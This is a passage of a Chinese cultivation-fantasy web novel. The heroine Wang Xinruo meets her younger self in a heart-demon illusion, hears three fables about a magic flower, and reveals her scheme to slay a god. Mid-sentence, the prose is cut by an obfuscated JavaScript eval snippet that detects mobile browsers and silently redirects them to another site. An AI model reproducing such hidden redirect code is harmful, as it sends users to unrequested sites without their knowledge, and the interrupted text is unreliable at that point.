“唉唉!师姐,等等流光,我们一起啊!”任流光屁颠屁颠跟在后面。 林中就这样,忽然出现一行五人。 跑在最前面的身影,手中握着柳枝,时不时回头看看,笑容极其明灿。 那身影没看清路,“哎呦”一声撞进王心若怀中。 她抬起头来,露出一张稚嫩美丽的面容,双目眸光纯真烂漫,额间银莲清雅明秀。 原来这时候的她,才长这么高。 王心若看着怀中的她,怔愣出神。 “这位姐姐,对不起!”她见撞了人,有些不知所措,赶忙朝她道歉。 王心若眸光微动,淡淡回道:“无碍。” “这柳枝是我刚采的,就给姐姐赔罪吧!”她拉起王心若的手,将柳枝郑重放在她的手心。 那边,郑含元喊她:“小师姐,你又怎么了……” 她朝着王心若不好意思一笑,“我师弟找我呢,我先回去啦,姐姐再见!” 她转身跑去,乌发银带因她的跑动而随风飘动,灵动自如。 王心若想叫住她,却叫不出口,抬起手来,却只抓住一片银白衣角,那衣角和柳枝一起,很快从手中滑落。 29. 忘川(2) 29.忘川(2) 当初的她,没认出她? 王心若走到溪旁,看着水中倒影,同样的容颜,同样的银莲。可是,她认不出来? 她回身,远远望着那一行人。 看着他们热闹的说笑,看着他们每人脸上不同的笑容,忽然觉得离得很远。 忽然,她看见那个‘王心若’朝她走过来,有些不好意思和她搭话,“姐姐,你在找谁呀?” 她来找谁?自然是找许道淳。 许道淳心魔即在冥京忘川,她来是为找他回去。 可是远方那个笑容温和的人,应该和这一行人一样,都是假象幻影。 王心若摇摇头,“我谁也不找。” “你要和我们一起吗?”‘王心若’问她。 她不知该怎么回答,便问:“你为什么要我和你们一起?” ‘王心若’想了会道:“因为……我觉得,姐姐一个人,好像很孤单的样子,不如和我们一起吧,一起互相都有个伴呀。” 她问:“我可以吗?” ‘王心若’笑着挽住她的手,“当然可以!” 她被带着往那四个人走去。 那四个她再熟悉不过的人。 “姐姐,你叫什么呀?”‘王心若’问她。 “我叫……”她道:“我也不知道我叫什么。” ‘王心若’啊了声,“也不要紧,修仙之人,五湖四海皆兄弟,我就叫你师姐吧。正好,他们天天叫我师姐,我都烦了,终于有天我也能叫别人师姐了!” 她点点头,算默认。 那四个师弟并未把目光长久停留在她身上,只有‘王心若’叽叽喳喳和她说话。 ‘王心若’说,二重天的水比瑶池的甜,六重天的柳树比二重天的粗,师尊比师叔好看,郑含元醉酒最长能睡一年,慕容修是个听话的书呆子,许道淳脾气好有求必应,任流光偷看禁书云云…… “师姐,你会不会觉得我很无聊啊?” 她摇摇头,“怎么会,我觉得你这样就很好。” “真的?” “真的。” ‘王心若’靠上她的肩膀,“师姐,你真好啊。” 走着走着,忽然从林中窜出一只巨大的黑斑妖虎。 许道淳道:“近日妖虎频频在二重天作乱,终于被我碰到了,今日便让这妖虎伏诛!” ‘王心若’放开她,赶忙上前说:“阿淳,你退后,交给师姐。流光,过来!” 郑含元翻了个白眼,“我的天,你的剑法学得一塌糊涂,就别逞强了。” 任流光倒是听话,化作一道金光落在她手中。 “你懂什么,上次我和流光在思过崖罚跪,听阿修讲了三天三夜的剑诀,我早会了!” 虽然她看着满眼邪性的妖虎,心里止不住的发虚。 妖虎见窜出来个连执剑的手都微微颤抖的小姑娘,眼中愈发不屑,咆哮着冲上来。 三个师弟刚想上前相助,却被王心若拦下。 此时他们的法力哪里是她的敌手,随手一缚,他们便动弹不得。 “你做什么?!”郑含元怒道。 她语气淡漠,“她可以。” 话音刚落,‘王心若’便被妖虎打落在地,背后一道血爪印赫然在目。 “嘶——疼……”她叫出声。 三人忍不住,对王心若道:“快把我们放了,若是出事怎么办?你拦着我们,是何居心?” “一个低阶妖兽,她怎么不可以。“王心若无视他们的怒火和请求,只看着前方。 ‘王心若’还没来得及稍事休息,妖虎又一爪落下,她慌乱往旁边一滚,衣衫上沾了青草和自己的血,看起来狼狈不堪。 王心若看着她,道:“站起来。” ‘王心若’慌乱应好,赶忙从地上爬起来,却被妖虎一掌拍到树上,而后滑落在地,她何曾受过重创,此刻心魂震荡,从口中吐出血来。 “没用。”她斥道,“似这等妖虎,最喜玩弄猎物,待猎物无力挣扎后,便撕破你的喉咙,将你一口吞下。你没得选,要么被它吃了,要么站起来好好打。” ‘王心若’擦干净嘴角的血,扶着树站起来,被她的训斥惹得也有些生气,“不用你训我,我会。” 她尽量闪避着妖虎攻击,抽出金剑,默念剑诀,终于射出一道剑光,直逼妖虎双目。紫黑色妖气和金光相撞,金光渐被吞噬,妖气强盛,她非但没伤到妖虎半分,还激起妖虎怒气。 妖虎怒号着朝她扑来,十倍于她的巨兽赫然出现眼前,铜铃般大血液般红的兽眼直直勾起人心中的恐惧,‘王心若’拿着剑无措站在下方,只好用剑尖对着兽腹,企图能予以一击。 千钧一发之刻,冷静的声音传来。 “你这样杀不死它,快飞到它身后!” ‘王心若’听她话语,赶忙从妖虎下扑缝隙中飞身挤出去,出现在妖虎背后。 她又快速说道: “四十九剑气溯月,二十八星宿萦光。灵运十二经络,气通奇经八脉,五感聚六路,神识放四方。你会感到和天地共生,与日月同在,与清风同呼吸,与流水共徜徉,贯通天地灵气。” “然后,将这些灵气引入体内,半开半合,让它们为你所用。接着,佯攻它后颈,后颈不成,待它回首,再攻双目,它必受伤。最后,飞至心脏处,用最多的灵气聚于剑尖,把你自己也变成剑,贯穿它的身躯!” 她每说一句,‘王心若’照做一句。一开始也许有些困难,但那冷静克制的声音让她渐渐平静下来。 剑法最高,人剑合一,天人合一。云渚四大剑法,莫不遵从这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137511|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条至简至高的规则。 就在‘王心若’即将刺向妖虎双目时,因出剑慢一步,被妖虎愤怒拍落在地,剑意瞬间中断。 王心若刚想开口,‘王心若’回头看她,稚嫩的脸上呈现出一种决绝的倔强,“不用你说,我可以!我再来一次!” 王心若朝她点头,看她边咳血,边提起剑再次冲上前。 这次爆发出的剑意更加纯粹庞大,二十八星宿和虚幻的月亮一点点浮现在朗朗晴空,古老神秘的纹路闪耀着温柔的流银蓝光,成为天地间极美丽的图画。 那是她的剑法,溯月萦光。 巨幅如梦似幻的星宿图下,白衣少女执着金剑,冲进妖兽的心脏,空中瞬间炸开血色的花朵。冲出妖兽体外的她,像一个小小的银针,穿破一块厚重的黑石。 妖兽炸开瞬间变为一团黑烟消散,只有空中腥味和血雾证明它曾来过。 剑光包裹着‘王心若’,使她不被血污弄脏衣裙。她从空中落下,刚站在地上,便趔趄一脚。 原来早就腿软。 郑含元等人发现王心若设下的屏障束缚已消,赶忙跑上去围着她。 王心若远远站着,望他们。 在记忆中,这只妖虎是郑含元诛杀的,只因那时,她虽有护人的一腔热血,却没与之相配的实力。 她看着‘王心若’扑进郑含元怀中,搂着他的脖子哭了出来,说:“含元,妖虎好可怕,吓死我了,我以为我不成了……” 她看着郑含元眼含担忧训道:“还说什么‘你退后,交给师姐’,现在哭得这么惨丢不丢人?”,言辞虽然凶狠,但手却悄悄帮她治愈背上的伤痕。 她看着许道淳很轻柔帮她擦去泪水和薄汗。 她看着慕容修拿出丹药递给她,“师姐,把丹药吃了,能好受些。” 她看着任流光化出形,有些激动道:“师姐,咱们配合得真好!” 千娇百宠真好,不谙世事真好,就这样真得很好,她难道不想吗? 就这样远远看着,就很好啊。 他们肯定会觉得现在的自己很疯狂、很不可理喻吧。 ‘王心若’忽然抬头,望向她。 她会恨自己么? 那时的她,会恨自己么? 然而,‘王心若’冲她粲然一笑,“师姐,谢谢你。” 她叹道:“要是能早些遇见你就好了,你真厉害。” 那几个师弟也回头望她,郑含元道:“这位少侠,虽然不知道你有什么目的,不过还是谢谢你,起码让她知道有些话不是轻易说说就能成的。” 会谢谢她么? 大家不会讨厌这样的她么? 于迷茫中,她点点头,沉默着跟他们继续上路。 就这样,来到黑夜。 六人围坐在篝火旁,说起话来。 30. 忘川(3) 30.忘川(3) 这五个熟悉的人向她一一介绍自己,暂且算将她当作自己人。 ‘王心若’拿着树枝拨弄火焰,百无聊赖感叹:“晚上了啊,晚上能干些什么呢……” 郑含元早就躺着望天,“晚上还能干什么,睡觉。” 慕容修拿着书在研习,抬头道:“师姐,我带了两本剑诀,我可以给你一本。” 许道淳问她:“师姐,你有什么想看的么?道淳可以带你去附近逛逛。” 任流光跑到她身旁,笑眯眯道:“师姐,他们都没意思,这后面有个洞穴,我们去里面瞅瞅有没有好东西?” ‘王心若’拒绝他,“我今天累死了,不想动。” 思考半天,她道:“对了,我们来讲故事吧!以前在瑶池,师尊就很喜欢给我讲故事,我想听大家讲故事!” 郑含元无语道:“放过我吧,我哪会讲故事?” 许道淳问:“师姐想听什么故事?” 她想了想,说:“我们来命题的,嗯……就以‘很久很久以前,有一朵千瓣花,它的花瓣拥有法力,可以变化无穷’开始,我想看大家都能编出怎样的故事!” 话音刚落,郑含元道:“我知道,很久很久以前,有一朵千瓣花……后来……” ‘王心若’一副很认真的样子,“后来,后来怎么了?” 郑含元翻了个白眼,“后来它死了。” “哎呀!”‘王心若’打了他一下。 许道淳忽然开口,唇边泛起淡淡的微笑:“师姐,我来吧,我想好了。” * 许道淳的故事是这样的: 很久很久以前,有一朵千瓣花,它的花瓣拥有法力,可以变化无穷。 这朵花生在一个既封闭又贫穷的国家,皇帝发现它后,问大皇子该如何处置这朵花。 大皇子说,要将花瓣变成无数金银珠宝,让国家富裕起来。 皇帝觉得很对,于是花变出来无数金银珠宝,皇帝将它们分配给百姓,百姓很开心,纷纷感叹皇帝恩德。 可后来,人人都拥有金银珠宝,金银珠宝便成了废物,最贫穷人家的孩子拿黄金掷声取乐。 皇帝很后悔。可没想到,他睡了一觉后,回到处置千瓣花的那天。 皇帝没去问大皇子,而是找二皇子,问了同样的问题。 二皇子说,应该提前做好规划,哪一瓣花变成房间,哪一瓣花变成食材,哪一瓣花变成衣物…… 皇帝认为二皇子很对,召集大臣一起商讨每一朵花瓣的用途。 他们商量了一个月,终于对千瓣花的花瓣分配做出合理安排。从此,人民过上有肉有酒、有衣服有家园的日子。 人民富裕起来,国家欣欣向荣,皇帝很满意。 到了皇帝晚年,千瓣花留下的东西渐渐用完,可百姓也习惯了锦衣玉食的生活,早已忘记如何耕织,他们怨恨皇帝不留给他们足够的东西,认为皇帝藏私,于是他们推翻朝廷,却发现宫中确实也没有千瓣花了。 皇帝气急攻心,暴毙而亡,然而他又重生回处置千瓣花的那天。 皇帝找到三皇子,问他此花如何处置。 三皇子说,应该将花变成各种各样的学问,让百姓学习,这才是长久之计。 因着前两次的教训,皇帝深以为然,按照三皇子所说进行。 百姓果然聪明能干起来,国家欣欣向荣,皇帝非常满意。 可好景不长,十多年后,由于百姓太聪明,他们不服朝廷的约束,再次推翻朝廷。 皇帝很生气,再次暴毙而亡,并且,他又重生了。 这次,他再也没有问任何一个皇子如何处置千瓣花。 他把千瓣花放在盒子里,藏起来,对皇子们说,这是龙脉所在,只要不让任何一个百姓知道它的存在,将它代代相传,国家就能永远安稳。 皇子照做,国家果然安稳了许多年。 * 许道淳讲完后,王心若皱起眉来。 这一段记忆,莫非她有所遗漏? 她明明记得,那天夜里并没人理她,最后她和任流光去洞里探险了。 没等她深入思考,郑含元坐起身来,开口道:“我也有个故事。” * 郑含元的故事是这样的。 很久很久以前,有一朵千瓣花,它的花瓣拥有法力,可以变化无穷。 有一个少年天天过来替花浇水,说:“小花,你真漂亮,我喜欢你。” 花还小,无法说话,但它很开心。 终于有一天,花长大了,可以说话了,而少年家旁搬来一个少女。 少女很美,明艳得像玫瑰。 少女和少年玩得很开心,可少年眉宇间逐渐开始有愁色。 花问:“你看起来很忧伤,是为什么呢?” 少年说:“她想要一盒胭脂,可我买不起。” 花说:“那你摘下我的一片花瓣吧,我的花瓣可以化作一盒胭脂。” 少年吃惊,摘了一片花瓣,果然化作一盒胭脂。 少年很开心,对花谢了又谢,拿着胭脂去找少女。 少女很开心,对着少年谢了又谢。 过了一个月,少年又发起愁来。 花问:“你看起来很忧伤,是为什么呢?” 少年说:“她想要一支玉簪,可我买不起。” 花说:“你摘下花瓣吧,我能满足你的愿望。” 少年笑了,他舒一口气,摘下花瓣,花瓣果然变成一支玉簪。 少年很开心地走了。 少年很得少女欢心,两个人情好日密,所以少年渐渐不再找花。 花孤独起来,但它不能移动,天天待在那里等着。 后来,少年又来找它说话了,开开心心聊到最后,少年问它要了柄扇子。 再后来,少年找它时便很直截了当,不是问衣服,就是问首饰。 花瓣落得越来越快。 直到还剩最后一瓣。 那天,天上乌云团聚,即将下起大雨,花期盼着少年过来,把自己移到棚里去。 可少年没来,大雨已至。 花承受不住雨的威力,最后一片花瓣惨然落下。 花快要死去。 少年终于来了,少年问它花瓣去哪儿了? 花奄奄一息,说不出口。 少年说,少女的玉簪丢了,她很伤心。 “我这么爱她,怎么忍心看到她难过。小花,你快点长出花瓣吧!” 花低着头,气若游丝。 少年埋怨道,真没用!然后气鼓鼓离去。 花歪着脑袋,看着少年远去,死在这个大雨夜。 掉落的花瓣变成玉簪飞快朝少年追去,可少年没发现,将它踩在脚下,和泥沙一起破碎了。 * “没想到,师兄会讲这么凄惨的故事。”许道淳望向郑含元,叹道。 郑含元摊摊手,“故事而已,编得多凄惨都行。” 许道淳温淳笑道:“故事总来源于现实。” 郑含元不理他,望向王心若,“该你了,师姐。” * 这是王心若当年没有讲出口的故事,她回忆了一遍,脑海里清晰依旧。 很久很久以前,有一朵千瓣花,它的花瓣拥有法力,可以变化无穷。 但是,这朵花很孤独,所以,它和过路人说:“人们呀,如果你愿意和我聊会天,我就给你一片花瓣!” 第一个过路人是乞丐,乞丐饿了很多天,在花面前哭诉许久,花很同情它,送给他一片花瓣,这片花瓣化作一个鸡腿,让乞丐饱餐一顿。 第二个人是商人,商人妙语连珠,逗得花笑得花枝乱颤,花送他一片花瓣,花瓣变成沉沉的金元宝,商人和花都很满意。 第三个人是将军,将军和花说了许多行军打仗的事,可花听不懂,但它很感激将军愿意和它说这么多话,所以花给将军一片花瓣。将军用这片花瓣化作一把锐利长剑,剑锋所向,势如破竹,征.服了许多国家。 第四个人是皇帝,皇帝先是温和地和花说了许多话,花很开 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花说:“那是什么,我没看过,好看吗?” 他拿出一本破旧的书,墨痕干涸,纸页发黄,他从书中拿出一轮皎皎孤月,从书中拿出苍苍雪柏,从书中拿出濛濛雨梨,从书中拿出渺渺烟柳。 花从来没看过这么美的东西,它惊叹道:“好漂亮呀,你是法师吗?你会这样厉害的法术!” 他摇摇头,合上旧书,说:“小花,我不是法师,我是诗人。” 花说:“诗人,天地日月都是诗人的!” 他说:“不是的,诗人是属于天地日月的,也是属于你的。” 花说:“谢谢你,和你讲话我很开心,现在,我要把最后一片花瓣送给你。” 他接过花瓣,说:“也好,那么,我希望你重新绽放。” 那片花瓣落在他手心,忽然变成小花.苞,而后慢慢绽放,重新成为千瓣花。 花惊喜道:“我本来死去,又活过来了,谢谢你。以后,我想跟着你,可以吗?” 诗人点头,带着花走向天地,带着花去看春夏秋冬、山河风光。 后来,花陪了诗人一辈子,诗人也陪了花一辈子。 诗人临终前,诗人说:“谢谢你,小花,我会把你栽在家门前,你可以再遇见很多人,和他们说说话。” 花说:“我只想和你说话。” 千瓣花忽然散开,一片一片从空中坠落,洒在空中如红雨。 诗人没有愿望了,花也没有愿望了,因为他们的愿望已经实现,法力便也没用处。 花说:“这场红雨好看吗?诗人,把我也写成诗,收到那本书里吧,那是我们最后的对话!” 诗人和花一同死去,然后在旧书中永生。 * 她讲完后,许道淳沉默了一会,轻笑道:“原来,这是师兄和师姐的心魔。” 痴情与无情,浪漫与现实。得不到就会痛苦,痛苦便会化作执念,而执念就会产生心魔。 话音刚落,周围的空间像房屋倾塌那般裂开缝隙,纷纷掉落,身边的人如同幻影瞬间消失。 王心若再睁眸时,周围一片虚空,只有三人盘腿坐在这无边虚空中。 身负箭伤的血衣男子,身穿银竹墨袍的少年,以及,她自己。 背上妖虎爪印仍在隐隐作痛。 她此时的模样,便是她方才所见的‘王心若’的模样。 血衣男子开口:“道淳在忘川河中恭候师姐多时。” 忘川河下已是他的领土,他设下阵法,有心魔者触忘川水,心魔被引出体,直堕入共同的虚幻世界。 心魔源生识海,三人心魔相触,共成此方世界。 王心若颔首,“这些年,辛苦你。” 许道淳一笑,“师姐让做的,道淳从来不觉得辛苦。” 他又望向墨袍少年,眸光深邃,“师兄……或者该叫你郑思如,你我二人又见面了。” 31. 弑神(1) 31.弑神(1) “是么?可我并不想和你见面。”郑思如支起右腿,手肘抵着膝盖,手里揪着不知从哪儿摘的草,漫不经心回他。 “难道我想和你见面?”许道淳望着他时,俊秀温和的容颜也冷硬起来,“三百年前在人间的每次会面,我都恨不得杀死你。” 郑思如像听到什么笑话,嘲讽道:“杀我?你杀得死么?最后是谁杀谁?” 许道淳反唇相讥,“方才心魔阵前,你看到了什么?我猜是屡次的求而不得罢,不然怎会讲出那样的故事?” 三人相聚前,所见景象不同。王心若见到的是过往的自己,却不知道他二人所见何物。 郑思如直起身子,冷笑起来,“我求而不得,你便求得了?你求得了,苏若若怎么死的,云若为何那般厌恶你,心魔如何长成这副鬼样子?许道淳,你好意思讽刺我?” “就算死了,若若也是为我而死,而你永远是她不共戴天的仇人。” “一世仇人算什么,她下一世跟的我,她不记得你!” “郑思如,你别太过分!” “我过分?我还觉得你过分,你怎么不恨慕容修,慕容修可是当着你的面一剑捅了上去!” “师兄是无奈之举,一切祸乱起于你,你若不强带她走,她怎会遭此磨难?” …… 都是心魔状态,性格不仅幼稚,而且偏激。 眼见两人要打起来,王心若冷淡的声音传来。 “你们当我是死的么?” 话音一落,两人面色一僵,许道淳理理衣角,冷哼一声坐了回去;郑思如愤愤扔掉那根草,抱臂坐下。 郑思如原在气头上,他看眼王心若面无表情的脸,又望向许道淳,不知为何忽然笑起来。 许道淳目光凌厉望来,“你笑什么?” 郑思如想怼回去,但又想到某个事实,怒气渐渐消散,眼神也变得同情起来。 “我笑什么……我笑我和你计较这么久,你懂个屁。” 许道淳再激动,再深情,再恨他,他都不知道旁边这位面无表情的仙子就是他满腹愧疚的苏姑娘、云姑娘。 王心若问许道淳:“阿淳,你鲜少有如此失态之时,为何厌他?” 许道淳敛去身上戾气,回道:“一厌他当年莽撞行事,让师姐……” 话还没说完,他感到背上一疼,再看到王心若的眼神,便没继续说下去,转而道:“二厌他夺人所爱。师姐可知,三百年前我去人间历情劫时,此人作为敌国谋士,屡屡坏我大事,甚至勾……勾引我心爱之人,可耻至极!” 王心若哦了一声,饶有兴致地望向郑思如,“你还做过这事?” 郑思如还沉浸在方才同情许道淳的情绪中,看到她若有所思的眼神一时没反应过来,“啊”着点点头。 王心若笑了,郑思如觉得她那笑有点说不出来的奇怪,但具体什么奇怪法,没想明白。 好像是……皮笑肉不笑。 “挺好的。”她道。 “人挺野。”她道。 “心也野。”她道。 郑思如越品越不对劲,刚想开口,只觉白光闪过,眼前一黑,倒了下去。 他恰好倒在王心若肩头,却被她轻轻推开,仰着倒在地上。 许道淳一时没反应过来,“师姐,你怎么把他打晕了?” “聒噪。”她道:“而且,正事又不可说给他听。缚仙砂置好了么?” “置好了,都放在镜心崖洞府小书柜的檀木盒中。” 王心若点头。 许道淳略有些犹疑问道:“师姐,到底想做什么?” 三百年前历劫完毕时,同样刚历劫归来的王心若找到他,吩咐了几件事。 一,天历七纪八十一年时,追踪人间南国所有本年阴月阴日阴时诞生的女童,五年至十年后,对其中失怙失恃者,以七星聚灵阵,用六具含冤而亡的尸身,炼制她。 二,让慕容修下界解决这些由诡异功法炼制而成的纯阴体。 三,天历七纪一百零二年时,应有一位炼制大成的纯阴体飞升天界,若没有,再亲自下界寻找,带她上天。而后,在扶光降临时,保证当年有位仙君因她而伤,嫁祸最好。 四,帮她炼一万粒缚仙砂,威力不须太强,能困住一个时辰足矣。 当年听完这几件事,许道淳一头雾水、满腹疑问。 然而当时王心若说:“阿淳,我不仅以师姐的身份,更以仙盟盟主的身份命令你完成这些事。多的不需要,但我所说的,一定要做到。” 许道淳对她的命令几乎是无条件听从。她不愿说为何,他便不问。 其实一切都源于在神刚离开天界后不久,吴秋行为她推衍天数得来的三个信息。 第一,天历七纪一百零二年,诸神中的扶光神君会再次降临天界。 第二,她这段时间内会陆续经历十世情劫。 第三,她离扶光降临最近的一次情劫,是在天历七纪八十一年的南国。 推衍天数限制诸多,无法具体,但勉强能用。 她想了很久,想利用这不多的信息,找到一种方法,然后验证它。 既然以仙的修为无法正面对付神,那能不能在天劫的帮助下,趁神最虚弱时,予以击杀。 此法遇到的第一个问题是,怎样才能引出神的天劫? 关于第一个问题,她将主意打到自己最后一次历劫身上。 设想中,她会被炼成所谓的鬼王;而慕容修去抓她时,会由于彼此脾性及历劫前不死这一定律放她一马,甚至有可能收她为徒,再不济先压制她的法力;而以她对美色美景的追求,体会过法力之强大之后,绝不会安于凡体,依旧很有很大可能走上仙途。待到扶光驾临时,发现她对仙君产生威胁,必以她为祸患,八成会严惩她,而她肯定不服,不服则反,也许扶光震怒之下,便会杀了她,也或者她不堪受辱,主动寻死…… 实际上这个设想有很多漏洞,譬如也许慕容修会彻底断她灵根,或者她留恋人间烟火对天界并无向往,或者扶光压根不给她死亡的机会…… 她只是在赌而已,赌很多可能性中的一种极渺小的可能性,若成便成,不成便认。 赌的是慕容修的犹疑心软,赌的是历劫之身的纯粹执着,赌的是扶光的刚愎自用…… 若最后一世情劫赌不成,就会面对第二个问题,引不出天劫该怎么办? 这个问题最可怕之处在于,从没有仙挑战神,仙根本捉摸不透神的战力。 说“以卵击石”,起码卵知道自己和石大小软硬之区别,可仙对神的战力并不知晓。也许神只比仙强一点,又也许神比仙高上许多,这一点古籍记载是空白的。 未知面前,唯一能做的就是努力找出一种突破已知修为境界的方法。 起码让仙在对抗神这件事上存在一些曙光。 世上修炼三千法,其中总有共通之处。仙法阅尽,就从‘邪魔歪道’中寻些苗头。“炼制”此事,本为正途不耻,但或可窥得一些玄机。 炼制之法斑驳复杂,有炼魂魄、炼肉身、炼怨气、四象阵、七星阵、十方阵……那她就试试用十方魂灯炼自己的魂魄、怨气、执念和情感。历劫归来,她便将那世记忆与其中的遗憾或怨情炼化,割一寸灵魄承载它,储存在魂灯中。 而到最后一世,便该验收成果。她布置好阵法,将最后一寸灵魄投去历劫,任这具躯壳躺在冰棺中,等待最后一寸魂魄归来。 五百万年的断情绝欲,只为自己不问结果地走下去;几十年无魂无魄的等待,终于得到了回报。 两个方法,真的能成。 只是,事实和设想总有出入,事虽能成,但过程比她想得要惨烈许多,尤其是惊鸿派遭受的无 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郑小明前去围观时感叹道:“高境修士促进感情的方式真不一样,这也行?” 白骨郎君赶忙抱他离开,途中依旧不幸被剑气所伤,又找了一天的骨头。 第八天夜里,二人战意正酣,打上了头,王心若忽然叫停。 “怎么?” “有人找。”她拿出玉简。 “又是那个人头怪?”郑含元收剑问道。 她运灵接通,里面传来吴秋行虚弱的声音。 “师姐,算出来了,是四日后酉时三刻……” 她语气略有不悦道:“我不在,为何随意推衍?” 天数岂能随意推衍,推得越具体,所推之人修为越高,越耗费灵力修为,甚至损伤自己的命数。 之前她在,可借他灵力,才允他如此行动。 吴秋行声音愈发细微,几乎是强撑着说话,“小九修为低下,自知在许多事上无法辅佐师姐,唯有……唯有此事……可以襄助……” 她赶忙道:“你等着,我这便回去替你调养。” 王心若收起玉简,问郑含元:“你能答应我,这段时间不离开鬼域么?” 郑含元道:“不能,吴秋行说四日后会发生什么?” “我不能说。” “有什么不能说?” “说了你会做傻事。” “不可以吗?” “不可以。” “为什么你可以?” “因为我是大师姐。” “你是个锤子。” 王心若强行把他送回鬼帝大殿,说:“你就好好待在这,如果有缘,我们一定会再见。” 郑含元拉住她,“什么叫有缘自会再见?” 王心若忽然不知该如何面对他的目光,“字面意思。” “你到底要做什么?” 她敛眸道:“我也不知道。” 话音落,蛛网般的白线浮现在大殿上空。 比起前几次的愤怒激动,郑含元这次很平静,他放开拉住她的手,自嘲道:“封吧,封吧,王心若,我习惯了,好歹你没把我再关到无道荒海下。” “马上一切都会好的。” 他问:“你信么?” 她说,不知道。 他又问:“那你会好么?” 她说,不知道。 他轻笑,倒在床上,“你走吧。” 王心若开口,却发现无话可说,站了一会,终是孑然离去。 郑含元翻了个身,背对着她,喃道:“你根本就不懂怎么保护人……” 32. 弑神(2) 32.弑神(2) 王心若走回洞穴时,遇见了林果果。 林果果好奇地围在她身边,“仙长,你又回来了,你那天是不是不开心,怎么忽然切断了联络?你还愿意帮我拿回镜子吗?” “愿意。” 林果果嘿嘿一笑,“谢谢仙长,仙长最好了~~~” 王心若冷不丁问她:“其实你还是想回忆起你说的那些事吧?无论是爱人,还是仇人。” 林果果啊了一声,飞到她另一边,“我也不知道唉,不过那些感觉一直都在。只要那些感觉在,就已经很好了。” “为何?” 林果果想了会,回道:“喜怒哀乐,酸甜苦辣,人生百味,若无这些感觉,我靠什么在这冰冷潮湿的洞穴里渡过漫长的寂寞岁月?” “没有感觉,也许就不觉得寂寞。” “咦?好像也有些道理,可没感觉,还算人吗?” “你的确不是人,你是鬼。” “仙长,你取笑我?!” 王心若留给她一个浅淡的笑容,“我走了,会帮你问你陆掌门要镜子的,有缘再见,果果。” 林果果被她念到名字,羞涩一笑,“好啊仙长,有缘再见!” 通过界门,王心若回到惊鸿派。 她走出去,穿过魏国的街道,看见路旁的包子铺,微微停驻在铺前。 恰好一对年轻男女前去买包子,姑娘笑着接过油纸包着的包子,热气铺面,氤氲在她的笑眼。 姑娘递给少年一个包子,说:“这儿的包子可好吃了,你尝尝?” 少年接过包子,“还是你好,什么都想着我。” 姑娘很开朗的样子,拍拍他的肩,颇豪气道:“那当然,我们说好的,有福同享,有难同当,谁也不抛弃谁!” 二人说说笑笑离去。 王心若望着他们的背影,唇角不自觉轻轻勾起。 忽然有人叫她:“姑娘,您站这儿,也想买包子么?” 她收回视线,原是铺里掌柜和她说话。 她有些不好意思摇摇头,“不用了,谢谢。” 然而向前走了几步,她又折返回来,“您好,可以给我一个包子么?” 掌柜应下,给她包起来,再递给她,热络道:“小姑娘不用害羞,想吃就说。” 她低头一笑,递了个铜板,捧着包子离开。 包子软软白白,暖着略带冰凉的手,她小口小口吃着包子,在街巷中行走。 街巷中,小贩吆喝着顺溜的词,吸引人买他刚做好的糖葫芦;三五小孩手中拿着竹蜻蜓,追逐打闹,一不小心,谁又把谁的草鞋踩下来;老妇人坐在台阶上,眯着眼对旧袄子缝缝补补;老大爷在院前石桌上摆着棋局,引得人团团围住,指点江山;年轻的阿娘抱着襁褓里戴虎头帽的娃娃,给她哼着方言小曲…… 她吃完包子,离开街巷,到无人处,御剑飞天。 飘渺云层间,遥遥回望去,行人如微尘。 她想起来很早前,仙人斗法,一剑劈向凡间,山崩地裂,剑气下湮灭生灵无数。 没有仙觉得这有什么。 她那时就想,生杀予夺的力量实在太可怕。仙对人是,神对仙也是。 师尊曾说,道是“愿我意无忧,愿我行自在”。她一直都是这样以为的,可后来才发现,这是神的道。 仙无法无忧,也无法自在,只要仙找不出打败神的方法,仙就永远自在不了,这样碾压般的统治,就一直存在,像一根刺,拔不出来,永远梗在喉中。 绝对的力量,不会听见弱小的悲吟。反抗绝对的力量,也不依靠飘渺的慈悲,而依靠更强的力量。 若大道慈悲、大道自在,可证道的过程却充满鲜血、斗争、杀戮。 这样看来,道真的慈悲么? 禁镯能锁好她这些无谓的联想和疑问,所以她能走在弑神证道的路上,决绝地不回头。 回到天界后,王心若赶忙去衍宗找吴秋行,却被衍宗弟子告知,吴秋行正在布置九重天的朝华殿。 衍宗弟子说,四日后乃是吴秋行登上盟主之位的受封典礼,介时扶光神君及诸仙皆要到场,为表示对扶光的尊重,吴秋行要将这朝华殿布置一番。 王心若要起身去九重天,却遇见傅钰,她问道:“小十一如何了?” 傅钰说:“前天被我们救出来了。” “你们?” “嗯……”傅钰有些不好意思回道:“赵师兄都那么求我们了,我们哪好意思不帮他。” “他怎么求你们了?” “就……就跟他哄姑娘一样耐心,你想听什么他就说什么,想要什么他帮你取什么。反正,都到这份上,又都是师兄弟,谁好意思拒绝。对了,师姐,我正要去看望柳师弟,你要一起么?” 王心若摇摇头,“我暂时不去看他了,但你帮我向他们都带句话。” “什么话?” “四日后朝华殿大典,他们必须都到场,缺一不可。” 傅钰面色微变,“师姐,你也知道他们现在都看不惯吴师弟,也许他们并不愿意……” “不愿也得愿,谁若不去,事后算账。” “好……” 傅钰只好答应。 王心若看他走后,去镜心崖拿走许道淳备下的缚仙砂,然后去九重天找吴秋行。 朝华殿内,只有吴秋行和素璇二人。 王心若到时,他二人挨得极近,像在说什么话,她不好贸然上前,只好轻咳一声。 素璇见她,柔柔道声:“心若师姐。” 她点头算作回应,而后看向吴秋行,“吴师弟,这是在做什么?” 吴秋行沉默。 素璇见他不语,笑着替他说道:“师姐,四日后便是盟主大典,扶光神君亲临为吴师兄授印,师姐若不弃,定要前来。” “前来看你二人掌管仙盟么?”王心若问道。 素璇略有些尴尬,“这……师姐,大家出自同门,谁来做盟主都是一样的,师姐何须如此介怀,失了宗师气度……” “好了。”吴秋行开口,“这朝华殿尚未布置妥当,师姐若无他事,便先离去吧。” 神识中,他说的是:师姐先回衍宗,不出半时辰,我便归来。 王心若望他一眼,回衍宗等他。 